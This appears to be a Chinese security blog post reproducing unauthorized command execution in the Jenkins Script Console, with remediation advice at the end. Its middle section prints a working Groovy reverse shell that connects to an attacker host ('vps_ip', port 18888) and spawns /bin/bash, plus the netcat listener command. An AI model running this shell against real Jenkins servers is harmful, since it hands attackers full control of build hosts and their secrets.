漏洞复现 - Jenkins Script Console 未授权远程命令执行

本文最后更新于 2025年7月14日 下午

🎯 漏洞简介

Jenkins 是一款流行的开源 CI/CD 自动化部署工具,默认开启了 Script Console(脚本控制台),用于管理员执行 Groovy 脚本对 Jenkins 实例进行动态管理。

核心风险:

  • Script Console 拥有与 Jenkins Master 相同的系统权限。
  • 若攻击者可访问该接口且具备权限(或存在身份验证绕过),即可执行任意系统命令。
  • 可直接执行命令、下载文件或反弹 shell,危害极大。

🗂️ 漏洞环境

访问 Jenkins Script Console 页面:

1
https://<目标>/script

如果未做权限限制或存在已知绕过(如弱口令/未授权/令牌泄露),可直接执行 Groovy 脚本。


🚩 漏洞复现

✅ 1️⃣ 执行系统命令

在脚本控制台输入:

1
println "whoami".execute().text

image-20250714124035244

执行后即可获得 Jenkins 宿主机的当前用户。


✅ 2️⃣ 反弹 Shell

如果需要获取交互式 shell,可在脚本控制台执行以下 Groovy 反弹 shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String host="vps_ip";
int port=18888;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try { p.exitValue(); break; } catch (Exception e) {}
};
p.destroy();s.close();

监听端执行:

1
nc -lvvp 18888

执行后即可获取目标宿主机的交互式 shell。

image-20250714124107634


🔍 风险点与危害

  • Jenkins Script Console 权限与 Jenkins Master 一致,等同于宿主机 root(或运行用户)权限。

  • 一旦泄露凭证或未授权暴露,后果等同于服务器沦陷。

  • 可被用于:

    • 横向移动(读取密钥)
    • 内网代理
    • 持久化后门

🛡️ 修复与防护

官方建议:

  • 禁止未授权用户访问 Script Console,仅保留给可信管理员。
  • 使用强口令和多因素认证(MFA)。
  • 将 Jenkins Master 部署在受限内网环境,不暴露公网。
  • 最小化插件安装,及时更新至最新版本。
  • 使用代理防火墙限制 /script 路径访问。

⚠️ 参考


🚨 总结:Jenkins Script Console 是典型的高危运维接口,若暴露且权限未控,等同于宿主机后门!务必内网访问、严格授权、定期审计!